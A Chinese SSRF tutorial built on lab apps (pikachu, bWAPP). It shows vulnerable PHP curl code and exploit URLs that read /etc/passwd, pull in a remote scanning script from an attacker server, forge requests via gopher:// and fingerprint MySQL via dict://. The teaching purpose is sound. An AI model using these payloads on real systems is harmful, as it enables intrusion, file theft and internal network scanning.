企业🤖AI智能体构建引擎,智能编排和调试,一键部署,支持私有化部署方案 广告
## SRF案例: ### **案例一:url没过滤** ```PHP # 源代码如下 if(isset($_GET['url']) && $_GET['url'] != null){ //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF $URL = $_GET['url']; $CH = curl_init($URL); curl_setopt($CH, CURLOPT_HEADER, FALSE); curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE); $RES = curl_exec($CH); curl_close($CH) ; //ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。 //除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet //curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP echo $RES; } ``` **此时可以在url后边接任意地址,当然真正的渗透应该接目标的内网地址** ```url #原地址: http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://localhost/1.txt #直接替换url为任意网址或本地文件路径 http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd ``` ### **案例二:只读取PHP文件** `file_get_contents`函数只能读取PHP文件,所以可以修改原本的路径,读取服务器其他的php文件 ```url http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/captain.php ``` ### **案例三:文件包含** 利用文件包含漏洞,加载远程脚本扫描内部服务 ```url #GET的请求: http://192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go #观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php #使用如下PAYLOAD,远程包含并执行扫描脚本探测内网主机的端口和服务。 #POST请求 http://192.168.163.157/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/bWAPP/ssrf-1.txt&action=go #POST DATA内容: ip=192.168.60.70 ``` >192.168.163.157是要访问的主机地址A >xxx.xxx.xxx是要使用的远程扫描脚本的地址(也就是自己搭建的服务器) >192.168.60.70是要扫描的目标主机内网地址B,且该地址是xxx.xxx.xxx主机无法访问到的 >使用post请求提交要进行扫描的目标主机IP,扫描结束后便返回结果。 ## SSRF利用其他协议 有关 SSRF 其它扩展知道可参考: http://www.anquan.us/static/drops/web-7550.html ### file 协议的运用 请求`http://192.168.163.150/test.php?url=file:///etc/passwd`便可以获取敏感文件的信息 ### gopher 协议的运用 gopher 协议是比http协议更早出现的协议,现已不常用,但是在 SSRF漏洞利用中gopher可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,这样变可 以解决漏洞点不在 GET 参数的问题了 基本协议格式: ``` URL:gopher://<host>:<port>/<gopher-path> ``` 进行如下请求可以发送一个 POST 请求,且参数 cmd 的值为 balabal 构造 gopher 请求的时候,回车换行符号要进行2次url编码为`%250d%250a` >http://192.168.0.100/ssrf1.php?url=gopher://192.168.0.105:8080/_POST%20/test.php%20HTTP/1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1 gopher在SSRF漏洞利用中具体的攻击方式可以参考如下链接: https://blog.chaitin.cn/gopher-attack-surfaces/ ### dict 协议应用 dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源, 但是在 SSRF 中如果可以使用 dict协议,那么就可以轻易的获取目标服务器端口上运行的服务 版本等信息 如请求 `http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info` 可以获取目标主 机的 3306 端口上运行着 mysq-l5.5.55 版本的应用。